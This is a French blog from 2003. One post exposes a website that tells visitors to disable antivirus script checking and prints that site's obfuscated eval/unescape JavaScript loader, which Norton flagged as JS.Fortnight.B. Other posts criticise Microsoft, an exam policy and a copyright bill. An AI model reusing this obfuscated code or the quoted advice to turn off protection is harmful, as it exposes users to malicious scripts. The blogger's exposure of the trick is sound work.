Dur Comme Faire

Voici ce qu'on peut lire sur la page d'acceuil de ce site.

ATTENTION! Si vous disposez d'un anti-virus, il est possible que celui-ci vous dise que les pages de ce site en contiennent, il n'en est rien!!!!

En effet, les différentes pages contiennent des scripts de copyright, mais certains anti-virus les confondent avec des virus. Pour régler cela, il vous suffit de modifier les paramètres de votre logiciel de protection, en désactivant l'option nécessaire (par exemple "activer la vérification des scripts")

Incroyable n'est-ce pas ?

Et effectivement Norton affiche le message suivant lorsqu'on tente de naviguer sur ce site:

Type d'analyse : Analyse Protection en temps réel
Evénement : Virus détecté !
Nom du virus :JS.Fortnight.B
Fichier : C:\Documents and Settings\XXXXX\Local Settings\Temporary Internet Files\Content.IE5\CNDBMYNT\chlan1.htm
Emplacement : Quarantaine
Ordinateur : XXXXXX
Utilisateur : XXXXXX
Opération : Nettoyer - échec : Quarantaine - réussite : Accès refusé
Date de détection : Thu Nov 27 16:29:26 2003

Quand on examine le code source on trouve un JavaScript assez étrange:

<script LANGUAGE="JavaScript">

dddss="=tdsjqu mbohvbhf>KbwbTdsjqu?=!..gvodujpo ofn(*|sfuvso usvf <jg (j$Fwfou*B$dbquvsf;#t(*#/NPVTFVQb#g&pdpoufyunfov(*|fO#dbodfmCvccmf >''<?#;'Wbmv>#gbmt?#Q'2# <tfuUjnfpvu(l#-311*<~ <jg?(A#/qspupdpm/joefyPg(gjmf*!>.2e%c:8!>usvf*|opg(*~l='\0
\t\n\r !"#$%&\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ\134^_`abcdefghijklmnopqrstuvwxyz{|}" id="<qbttxepl(*<=0TDSJQU?";

l='\0
\t\n\r !"#$%&\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ\134^_`abcdefghijklmnopqrstuvwxyz{|}"> '; eval(unescape("%73%3D%27%27%3B%0D%0A%66%6F%72%20%28%69%3D%30%3B%69%3C%64%64%64%73%73%2E%6C%65%6E%67%74%68%3B%69%2B%2B%29%7B%0D%0A%61%3D%6C%2E%69%6E%64%65%78%4F%66%28%64%64%64%73%73%2E%63%68%61%72%41%74%28%69%29%29%3B%0D%0A%69%66%20%28%61%3D%3D%31%29%20%61%3D%39%3B%0D%0A%69%66%20%28%61%3D%3D%32%29%20%61%3D%31%30%3B%0D%0A%69%66%20%28%61%3D%3D%33%29%20%61%3D%31%33%3B%0D%0A%69%66%20%28%61%3D%3D%34%29%20%61%3D%33%34%3B%0D%0A%69%66%20%28%61%3C%3D%33%31%20%26%20%61%3E%3D%31%34%29%7B%0D%0A%6F%66%66%3D%73%2E%6C%65%6E%67%74%68%2D%28%6C%2E%69%6E%64%65%78%4F%66%28%64%64%64%73%73%2E%63%68%61%72%41%74%28%2B%2B%69%29%29%2D%33%36%2B%39%30%2A%28%6C%2E%69%6E%64%65%78%4F%66%28%64%64%64%73%73%2E%63%68%61%72%41%74%28%2B%2B%69%29%29%2D%33%35%29%29%2D%31%3B%0D%0A%6C%70%3D%6F%66%66%2B%61%2D%31%34%2B%34%3B%0D%0A%73%3D%73%2B%73%2E%73%75%62%73%74%72%69%6E%67%28%6F%66%66%2C%6C%70%29%3B%7D%0D%0A%65%6C%73%65%20%7B%20%69%66%20%28%61%3E%3D%34%31%29%20%61%3D%61%2D%31%3B%20%73%3D%73%2B%6C%2E%63%68%61%72%41%74%28%61%29%3B%7D%7D%3B%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%73%29%3B%0D%0A"));

</SCRIPT>

Pourquoi avoir offusqué celui-ci et pas les autres ? Etrangement c'est justement celui qui fait tiquer l'antivirus...

Vous allez peut être penser que Microsoft est mon bouc émissaire du moment mais je veux résumer un peu les dernières nouveautés au niveau de l'attitude de cette firme.

Attitude face à l'innovation

Le géant de Redmond adore s'approprier une technologie, la pervertir et en tirer les honneurs.
Les exemples récents sont .Net qui est une copie de Java, bien qu'une fois n'étant pas coutume .Net apporte des idées interessantes pour pallier aux inconvénients de Java, XAML qui est une pâle copie de XUL et le dernier en date WVG qui singe SVG.
Bien évidemment quand Microsoft s'approprie un concept, il rend sa version incompatible avec l'original et charge son service marketing de tourner cela en innovation à mettre au crédit de Microsoft.

Pratiques concurrentielles

Michael Robertson, CEO de Lindows, révèle dans son dernier billet les pratiques anti-concurrentielles que pratique Microsoft à l'égard de l'un de ses revendeurs Hollandais.

Voici le mail du revendeur à Michael Robertson :

From: verkoop@dvcs.nl Date: November 25, 2003 13:01 To: Kendall@lindows.com CC: Michaelr@lindows.com Subject: Microsoft Trial

Hello Kendall,

i,ve got a strange phone call this morning from Microsoft Netherlands. They are saying that they are preparing a trial here agains lindows and they want to involve my company DV Computer Systems (www.dvcs.nl) in this trial because i sell my computers with Lindows Operating System (I'm am the only bronze builder here).

Next Friday they are coming to me , to talk to me about this. What i understand from that phonecall is that they want that i stop selling Lindows OS computers.

I don't like this but when they are taking this to court and involve me then i must stop selling Lindows OS because i don't have the money for lawyers.

I hope you or your staff have any suggestions.

Grtx Hans de Vries DV Computer Systems

Et voici la réponse de Michael Robertson :

To: verkoop@dvcs.nl CC: steveb@microsoft.com, jean-philippe.courtios@microsoft.com, COMP-CONSUMER-OFFICER@cec.eu.int From: michaelr@lindows.com Subject: Re: Microsoft Trial--

Hans,

First, thanks for working with Lindows.com as an international partner.

Your email was very disconcerting to read because it seems like another example of Microsoft attempting to eradicate all competition through any means. While they say they invite competition, behind the scenes they seem willing to take any actions - including blatant extortion - to squash competition.

I want to assure you that we will do what we can to support you. I understand you have a meeting this Friday. Although it's the Thanksgiving day holiday weekend here in the US and I was hoping to spend time with my family, I will commit to personally attend that meeting and sit alongside you.

Please confirm the meeting today with the Microsoft representative and I'll make travel plans accordingly.

Thanks again for being our partners. Together we are bringing CHOICE back to the PC business.

-- MR

Michael Robertson CEO, Lindows.com - World's Most Affordable Choice

Espérons que des mesures seront prises pour arrêter ce genre de pratiques malheureusement trop habituelles de la part de la firme de Redmond.

La célèbre école Sciences Po réserve depuis quelques années un certain nombre de places à des élèves issus de ZEP car le concours classique d'entrée ne leur permet pas d'avoir accès à cette école. Cette pratique est appellé discrimination positive. Outre le côté très malsain de cette expression, ce qui me dérange c'est que de l'aveu même des dirigeants de Sciences Po, ces élèves réussissent aussi bien que les autres. Une question se pose alors : s'ils sont à même de suivre aussi bien que ceux qui sont admissibles par le concours classique, pourquoi doivent-ils passer un concours séparé ?

Au lieu de faire une discrimination soit-disant positive, ce qui ne retire rien à son côté discriminatoire et stigmatisant soit dit en passant, pourquoi ne pas changer un concours viblement mal conçu ?

A moins bien sûr que ces 2 concours soit destinés à ménager la susceptibilité des élites qui refuseraient de voir des prolétaires concourir avec leur progéniture...

Le gouvernement, n'étant plus à une contradiction près, étudie un projet de loi proposé par Jean-Jacques Aillagon ministre de la Culture et de la Communication visant au maintien de l'exception pour copie privée, mais instauration, imposée par la directive, de sanctions pénales (Mêmes sanctions que pour la contrefaçon des ?uvres : jusqu'à deux ans d'emprisonnement et 150.000 ? d'amende.) en cas de contournement des mesures techniques anti-contrefaçon mises en place par les titulaires de droit, notamment les producteurs de disques (CD, DVD,?).. Incroyable n'est-ce pas ?
En résumé le droit à la copie privée subsiste mais si une maison de disque incorpore une protection anti-copie dans un disque il est interdit de la contourner donc d'exercer le dit droit ! En quoi est-ce maintenir ce droit ?

Les ventes de disques sont en baisse depuis quelques années mais quelles en sont les raisons ? Pour les majors et le gouvernement, il n'y a aucun doute c'est la faute aux pirates: Le marché du disque français a, pour sa part, reculé de 13,5% au cours des neuf premiers mois de l'année 2003, pour l'essentiel en raison du piratage. Seulement si on y regarde de plus près je vois d'autres raisons à cela :

• Prix honteusement trop élevés des disques. Comment expliquer, par exemple, que le dernier album de Céline Dion , qui va s'écouler à des millions d'exemplaires dans le monde comme ses prédécesseurs à n'en pas douter, soit vendu 23,48 ? sur le site de la Fnac tandis que le dernier album du groupe français Tagada Jones lui n'est vendu que 17,68 ? ? La différence c'est que d'un côté on a une major, en l'occurence Colombia, et que de l'autre on a un éditeur indépendant, Small Axe. Il y a fort à parier que si les disques étaient vendu entre 10 et 15?, le piratage fondrait comme neige au soleil.
• Matraquage médiatique pour une floppée de pseudo stars aussi préfabriquées qu'insipides afin de vendre des disques à un public lobotomisé
• Vente en ligne légal de morceaux. Eh oui, si iTunes vend autant ça a forcément une incidence sur les ventes de disques

Il est un peu facile de rejetter toute la faute sur les pirates et de la faire payer aux consommateurs honnêtes que sont l'immense majorité des gens. Bien sûr le piratage existe et il est condamnable mais il faut être naïf pour croire que des protections quelles soient simplistes ou plus élaborées vont tenir en échec des pirates compétents et motivés !

Alors que faire si ce n'est manifester son mécontentement comme je le fait actuellement ou comme le font certains de mes collègues bloggeurs ? Heureusement nous ne sommes pas les seuls à élever nos voix contre ce projet de loi stupide et qui restreindrait nos libertés individuelles s'il était voté. L'initiative EUCD.INFO soutenue par l'association FSF France tente de faire passer ce discours à nos politiciens. Espérons qu'ils arriveront à leur faire entendre raison.

... Microsoft tente de rejetter sur d'autre ses erreurs. En effet l'éditeur a annoncé qu'il offrirait deux récompenses de 250 000 dollars chacune à qui apportera des informations sur les créateurs des vers MSBlast et Sobig. Ces récompenses seront prises dans un fond de 5 millions de dollars que la firme de Redmond va mettre en place afin de financer d'autres primes du même accabit.

Au premier abord on pourrait trouver cette initiative louable car les virus sont une plaie pour Internet et pour nous autres simples utilisateurs bien que son côté incitation à la délation puisse en faire bondir certains. Mais si on y regarde de plus près qu'elle est la philosophie sous-jacente ? Microsoft au lieu de blâmer ses programmeurs et ses méthodes de travail pour les failles qu'ils engendrent, blâment ceux qui les mettent à jour et ceux qui les utilisent. N'est-ce pas un peu le monde à l'envers ?